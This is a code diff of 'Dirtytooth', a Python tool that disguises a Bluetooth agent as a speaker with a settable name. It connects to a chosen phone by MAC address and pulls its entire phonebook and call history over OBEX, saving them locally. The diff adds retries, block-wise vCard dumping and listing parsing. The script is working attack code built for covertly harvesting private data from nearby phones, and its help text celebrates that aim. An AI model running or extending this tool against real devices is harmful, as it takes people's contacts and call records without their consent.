22# -*- coding: utf-8 -*-
33
44import os
5+ import re
56import sys
67import time
7- import psutil
8+ import shutil
89import logging
910import argparse
1011import datetime
11- import bluetooth
1212import subprocess
13+ from xml .dom import minidom
14+ from xml .etree import ElementTree
15+
16+ import psutil
17+ import bluetooth
1318from nOBEX import client , headers , responses
1419
20+ LOG_PATH = '/var/log/dirtytooth'
21+ FILES_PATH = '/root/dirtytooth'
1522START_PATH = '/usr/lib/dirtytooth/start'
16- FILES_PATH = '/root/dirtytooth/'
17- LOG_PATH = '/var/log/bluetooth_dev'
23+
24+ CONTACT_BLOCK_SIZE = 5
1825
1926parser = argparse .ArgumentParser (description = 'Dirtytooth package' ,
2027 epilog = "Enjoy with dirtytooth!" )
2128group = parser .add_mutually_exclusive_group (required = True )
2229group .add_argument ('--start' , action = 'store_true' , help = 'Start agent discover' )
2330group .add_argument ('--stop' , action = 'store_true' , help = 'Stop agent discover' )
24- group .add_argument ('--mac' , help = 'MAC device to get dirtytooth! }:)' )
31+ group .add_argument ('--restart' , action = 'store_true' , help = 'Restart agent discover' )
32+ group .add_argument ('-n' , '--name' , help = 'Change the name of the bluetooth speaker' )
33+ group .add_argument ('-m' , '--mac' , help = 'MAC device to get dirtytooth! }:)' )
2534args = parser .parse_args ()
2635
2736
37+ def start ():
38+ if get_pid ():
39+ print ('dirtyagent process is already open!' )
40+ logging .info ("dirtyagent process is already open!" )
41+ else :
42+ subprocess .call ([START_PATH ], shell = True )
43+ logging .info ("dirtyagent process started" )
44+
45+
46+ def stop ():
47+ pid = get_pid ()
48+ if pid :
49+ p = psutil .Process (pid )
50+ p .terminate ()
51+ logging .info ("Stop dirtyagent" )
52+ else :
53+ print ('dirtyagent process doesn´t exist' )
54+ logging .info ("Try to stop process, but it´s doesn´t exist" )
55+
56+
57+ def restart ():
58+ stop ()
59+ time .sleep (1 )
60+ start ()
61+ logging .info ("Dirtytooth restarted" )
62+
63+
2864def get_pid ():
2965 for proc_name in psutil .pids ():
3066 if psutil .Process (proc_name ).name () == 'dirtyagent' :
3167 return psutil .Process (proc_name ).pid
3268 return None
3369
3470
35- def write_file (filename , file ):
36- with open (FILES_PATH + filename , "w" ) as f :
37- f .write (file )
71+ def write_file (filename , card ):
72+ with open (filename , "w" ) as f :
73+ f .write (card )
74+
3875
76+ def dump_xml (element , file_name ):
77+ fd = open (file_name , 'w' )
78+ fd .write ('<?xml version="1.0"?>\n <!DOCTYPE vcard-listing SYSTEM "vcard-listing.dtd">\n ' )
79+ rough_string = ElementTree .tostring (element , 'utf-8' )
80+ reparsed = minidom .parseString (rough_string )
81+ pretty_string = reparsed .toprettyxml ().encode ('utf-8' )
82+ fd .write (pretty_string [23 :]) # skip xml declaration
83+ fd .close ()
3984
40- def get_name (addr ):
41- return subprocess .check_output (["/usr/lib/dirtytooth/device" ,
42- "name" , addr ], shell = False )
85+
86+ def escape_ampersands (s ):
87+ # Terrible hack to work around Python getting mad at things like
88+ # <foo goo="Moo & Roo" />
89+ us = str (s , encoding = 'utf-8' )
90+ us2 = '&' .join (us .split ('&' ))
91+ return bytes (us2 , encoding = 'utf-8' )
4392
4493
4594def connect (device_address ):
@@ -62,56 +111,152 @@ def connect(device_address):
62111 return c
63112
64113
65- def get_file (c , src_path , filename , book = True ):
114+ def dump_dir (c , src_path , dest_path ):
115+ src_path = src_path .strip ("/" )
116+
117+ # since some people may still be holding back progress with Python 2, I'll support
118+ # them for now and not use the Python 3 exists_ok option :(
119+ try :
120+ os .makedirs (dest_path )
121+ except OSError as e :
122+ logging .exception (e )
123+ pass
124+
125+ # Access the list of vcards in the directory
126+ hdrs , cards = c .get (src_path , header_list = [headers .Type (b'x-bt/vcard-listing' )])
127+
128+ # Parse the XML response to the previous request.
129+ # Extract a list of file names in the directory
130+ names = []
131+ try :
132+ root = ElementTree .fromstring (cards )
133+ except ElementTree .ParseError :
134+ root = ElementTree .fromstring (escape_ampersands (cards ))
135+ dump_xml (root , "/" .join ([dest_path , "listing.xml" ]))
136+ for card in root .findall ("card" ):
137+ names .append (card .attrib ["handle" ])
138+
139+ logging .info ("The number files on {} is {}" .format (dest_path , len (names )))
140+
141+ c .setpath (src_path )
142+
143+ # return to the root directory
144+ depth = len ([f for f in src_path .split ("/" ) if len (f )])
145+ for i in range (depth ):
146+ c .setpath (to_parent = True )
147+
148+ return names
149+
150+
151+ def get_file (c , src_path , dest_path , folder_name = None , book = True ):
66152 if book :
67153 mimetype = b'x-bt/phonebook'
68154 else :
69155 mimetype = b'x-bt/vcard'
70156
71- hdrs , file = c .get (src_path , header_list = [headers .Type (mimetype )])
72- write_file (filename , file )
73- logging .info ('%s save!' % filename )
157+ try :
158+ hdrs , card = c .get (src_path , header_list = [headers .Type (mimetype )])
159+ write_file (dest_path , card )
160+ logging .info ('%s save!' % dest_path )
161+ return card
162+ except Exception as e :
163+ logging .exception ('Exception in get data!: %s' % e )
164+ return False
165+
166+
167+ def get_data (c , src_path , dest_path , data_list , min_list , max_list ):
168+ c .setpath (src_path )
169+ for n in data_list [min_list :max_list ]:
170+ filename = "/" .join ([dest_path , n ])
171+ get_file (c , n , filename , folder_name = src_path , book = False )
172+
173+ depth = len ([f for f in src_path .split ("/" ) if len (f )])
174+ for x in range (depth ):
175+ c .setpath (to_parent = True )
74176
75177
76178def main ():
77- logging .basicConfig (format = '%(levelname)s:%(message)s' ,
179+ logging .basicConfig (format = '%(asctime)s - %(levelname)s:%(message)s' ,
180+ datefmt = '%d/%m/%Y %I:%M:%S %p' ,
78181 filename = LOG_PATH ,
79182 level = logging .DEBUG )
183+ logging .info ("DirtyTooth script started" )
80184
81185 if args .start :
82- if get_pid ():
83- print ('Process dirtyagent is already open!' )
84- else :
85- subprocess .call ([START_PATH ], shell = True )
186+ start ()
86187 elif args .stop :
87- pid = get_pid ()
88- if pid :
89- p = psutil .Process (pid )
90- p .terminate ()
91- else :
92- print ('Process dirtyagent doesn´t exist' )
188+ stop ()
189+ elif args .restart :
190+ restart ()
191+ elif args .name :
192+ with open (START_PATH , 'r' ) as in_file :
193+ text = in_file .read ()
194+
195+ replace = re .sub (r'name "(.*?)"' , 'name "%s"' % args .name , text )
196+
197+ with open ('/usr/lib/dirtytooth/start_' , 'w' ) as out_file :
198+ out_file .write (replace )
199+
200+ os .chmod ('/usr/lib/dirtytooth/start_' , 0o755 )
201+ shutil .move ('/usr/lib/dirtytooth/start_' , START_PATH )
202+ restart ()
203+ logging .info ("Dirtytooth name changed: {}" .format (args .name ))
93204 else :
94205 if get_pid ():
95- print ('Dirtytooth: Getting device info: %s' % args .mac )
96-
97- device_address = args .mac
206+ print ('Getting device info: {}' .format (args .mac ))
207+ logging .info ('Getting device info: {}' .format (args .mac ))
98208
99- c = connect ( device_address )
209+ mac_add = args . mac
100210
101211 if not os .path .isdir (FILES_PATH ):
102212 os .mkdir (FILES_PATH )
103213
104214 date = datetime .datetime .fromtimestamp (time .time ()).strftime ('%Y%m%d%H%M%S' )
105215
106- get_file (c , "telecom/pb.vcf" ,
107- "%s-UTC_%s_phonebook" % (date , device_address ))
108- get_file (c , "telecom/cch.vcf" ,
109- "%s-UTC_%s_history" % (date , device_address ))
216+ tries = 0
217+ while tries < 5 :
218+ logging .info ('Try %s connect device...' % tries )
219+ try :
220+ c = connect (mac_add )
221+ logging .info ("Dirtytooth connect with device %s" % mac_add )
222+
223+ src_path_pb = "telecom/pb"
224+ src_path_cch = "telecom/cch"
225+
226+ dest_path_pb = "{}/{}-UTC_{}_telecom/pb" .format (FILES_PATH , date , mac_add )
227+ dest_path_cch = "{}/{}-UTC_{}_telecom/cch" .format (FILES_PATH , date , mac_add )
228+
229+ list_pb = dump_dir (c , src_path_pb , dest_path_pb )
230+ list_cch = dump_dir (c , src_path_cch , dest_path_cch )
231+
232+ logging .info ('Try getting contacts data...' )
233+
234+ i = 0
235+ j = CONTACT_BLOCK_SIZE
236+
237+ while j <= max (len (list_pb ), len (list_cch )) + CONTACT_BLOCK_SIZE :
238+ get_data (c , src_path_pb .strip ("/" ), dest_path_pb ,
239+ list_pb , i , j )
240+ get_data (c , src_path_cch .strip ("/" ), dest_path_cch ,
241+ list_cch , i , j )
242+
243+ i = i + CONTACT_BLOCK_SIZE
244+ j = j + CONTACT_BLOCK_SIZE
245+
246+ c .disconnect ()
247+ return 1
248+
249+ except Exception as e :
250+ tries = tries + 1
251+ c .disconnect ()
252+ logging .exception ('Exception in main: %s' % e )
110253
111- c . disconnect ( )
254+ logging . error ( "dirtytooth failed!" )
112255 return 0
113256 else :
114257 print ('Process dirtyagent doesn´t exist' )
258+ logging .warning ("Process dirtyagent doesn´t exist" )
259+ return 1
115260
116261
117262if __name__ == "__main__" :
0 commit comments